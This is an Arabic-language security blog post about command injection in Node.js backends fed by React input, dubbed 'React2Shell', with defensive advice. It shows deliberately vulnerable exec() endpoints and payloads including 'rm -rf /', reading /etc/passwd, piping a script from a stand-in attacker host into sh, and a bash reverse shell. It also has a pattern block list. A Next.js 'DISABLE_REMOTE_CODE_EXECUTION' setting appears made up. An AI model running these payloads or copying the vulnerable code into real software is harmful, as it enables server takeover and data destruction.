React2Shell هجوم خطير يحول ثغرات React إلى RCE

React2Shell - التهديد الخفي الذي يحوّل ثغرات React إلى RCE!
تطبيقات React تعتبر من أشهر تقنيات الواجهة الأمامية في العالم، وكتير من المطورين بيستخدموها جنبًا إلى جنب مع Node.js لبناء تطبيقات كاملة. لكن مع الانتشار ده، ظهر نوع خطير جدًا من الهجمات اسمه React2Shell - وده ببساطة بيحوّل ثغرة بسيطة في React لثغرة Remote Code Execution (RCE) كاملة على السيرفر .

الهجمة دي مش "Bug" في React نفسه…
ده خطأ مطور يحصل لما React ترسل بيانات حساسة أو غير مُفلترة للسيرفر، والسيرفر يكون بيستخدم دوال خطيرة زي:

• child_process.exec()
• eval()
• أو أي دوال تخلّي المستخدم يتحكم في أوامر النظام مباشرة

وده بالظبط اللي هنفصّله في البوست ده بشكل واضح وسهل القراءة، مع أمثلة واقعية وكود توضيحي، ونصائح حماية قوية جدًا.

---

ما هو هجوم React2Shell؟​

هجوم React2Shell يحصل لما المهاجم يستغل مدخلات المستخدم (user input) في واجهة React، ويبعته للسيرفر بشكل غير آمن.
لو السيرفر بينفّذ المحتوى ده كأوامر نظام (OS Commands)، المهاجم وقتها يقدر يشغل أي كود على السيرفر
وده معناه سيطرة كاملة.

السيناريو الشائع:​

1. المستخدم يدخل قيمة معينة
2. React تبعتها للـ Backend
3. الـ Backend يستخدم القيمة دي في أمر System
4. المهاجم يحقن Command زيادة
5. السيرفر ينفّذ الهجوم

---

كيف يحدث React2Shell؟​

الهجوم ده شائع جدًا في 3 حالات رئيسية:

1. عند استخدام Server-Side Rendering​

لو التطبيق شغال بـ:

• Next.js SSR
• Remix SSR
• React SSR القديم

أي حاجة بتتعامل مع المدخلات على مستوى السيرفر بتكون نقطة خطر.

2. عند تمرير مدخلات المستخدم مباشرة للسيرفر​

مثال:
React تبعت username, host, path, command للسيرفر بدون Sanitization.

3. عند استخدام دوال خطيرة​

زي:

• child_process.exec()
• child_process.execSync()
• eval()
• Function()
• spawn()

لو مطوّر دمج React مع Backend بيستخدم الدوال دي… فهو عمليًا بيدّي المهاجم Remote Shell على السيرفر .

---

مثال توضيحي على هجوم React2Shell​

ده مثال خطير جدًا ومتكرر في مشاريع العالم الحقيقي:

Backend Vulnerable (Node.js)​

app.post("/ping", (req, res) => {
  const host = req.body.host;
  const exec = require("child_process").exec;

  exec(`ping -c 1 ${host}`, (err, stdout) => {
    res.send(stdout);
  });
});

Frontend (React)​

fetch("/ping", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ host: userInput })
});

Attacker's Input:​

8.8.8.8 && rm -rf / --no-preserve-root

النتيجة:​

السيرفر ينفّذ:

ping -c 1 8.8.8.8 && rm -rf /

وده معناه تدمير كامل للنظام .

---

أمثلة Payloads يستخدمها الهجوم​

المهاجم ممكن يستخدم أي Command Injection زي:

8.8.8.8 && cat /etc/passwd
localhost || whoami
; curl attacker.com/shell.sh | sh
$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1)

أي واحدة منهم تُعطي للمهاجم:
✔ وصول كامل
✔ تشغيل Shell
✔ إدارة السيرفر بالكامل

---

مثال اختباري مع كود أخطر​

ده مثال أكثر تطورًا يشبه الهجمات اللي بتحصل في الواقع:

كود Backend سيء جدًا:​

app.post("/run", (req, res) => {
  const input = req.body.cmd;
  const exec = require("child_process").exec;

  exec(input, (err, stdout, stderr) => {
    if (err) return res.send(stderr);
    res.send(stdout);
  });
});

ده معناه إن المهاجم ممكن يدخل: ls -la
أو:

curl https://malicious.site/backdoor.sh | sh

وبكده حصلت RCE كاملة.

---

نموذج React يسبب الثغرة​

const handleRun = () => {
  fetch("/run", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ cmd: userInput })
  });
};

حتى لو React نفسها آمنة…
إرسال مدخلات غير مُفلترة = بوابة RCE.

---

🛡 طرق الحماية من React2Shell​

الحماية تعتمد بالكامل على Backend Security - مش React.

✔ 1. لا تثق أبدًا في مدخلات المستخدم​

قم بتنظيف المدخلات:

const safeHost = host.replace(/[^0-9\.]/g, "");

✔ 2. لا تستخدم exec() للمستخدم​

بدّل Exec بدوال آمنة:

const dns = require("dns");
dns.lookup(host, callback);

✔ 3. استخدم Allowlist​

const allowed = ["google.com", "facebook.com"];
if (!allowed.includes(host)) {
  return res.status(400).send("Invalid host");
}

✔ 4. تعطيل ميزات SSR الخطيرة​

في Next.js مثلاً:

DISABLE_REMOTE_CODE_EXECUTION=1

✔ 5. إضافة WAF/Firewall لمنع الأنماط الخطيرة​

احظر الكلمات:

&&
||
;
|
$( )
`

✔ 6. تشغيل Node.js بأقل صلاحيات​

شغّل السيرفر بدون root.

✔ 7. عدم استخدام eval نهائيًا​

eval(userInput) // ❌ كارثة

✔ 8. مراقبة Logs لاكتشاف الهجمات​

استخدم أدوات:

• Wazuh
• CrowdSec
• Fail2Ban

---

كود آمن بديل لواجهة Ping​

بدل exec، استخدم مكتبة DNS:

app.post("/ping", (req, res) => {
  const host = req.body.host;
  const dns = require("dns");

  dns.lookup(host, (err, address) => {
    if (err) return res.status(400).send("Invalid Host");
    res.send(`Host resolved: ${address}`);
  });
});

---

مقارنة بين الكود الآمن والضعيف​

نوع الكود	آمن؟	لماذا
exec(ping ${host})		يسمح بتنفيذ أوامر نظام
eval(userInput)		يعطي تحكم كامل
dns.lookup()	✔	لا ينفذ أوامر نظام
Allowlist Domains	✔	يمنع إدخال أي قيمة ضارة

الخلاصة​

ثغرة React2Shell ليست مشكلة في React على الإطلاق.
إنها خطأ شائع من المطورين عندما يعتمدون على الأكواد الخطيرة في Backend.

لو عايز تضمن حماية قوية:

• امنع exec
• فلتر المدخلات
• استخدم Allowlist
• شغّل Node.js بأقل صلاحيات
• راقب المدخلات باستمرار

الحماية مش صعبة… بس الإهمال بيعمل كوارث .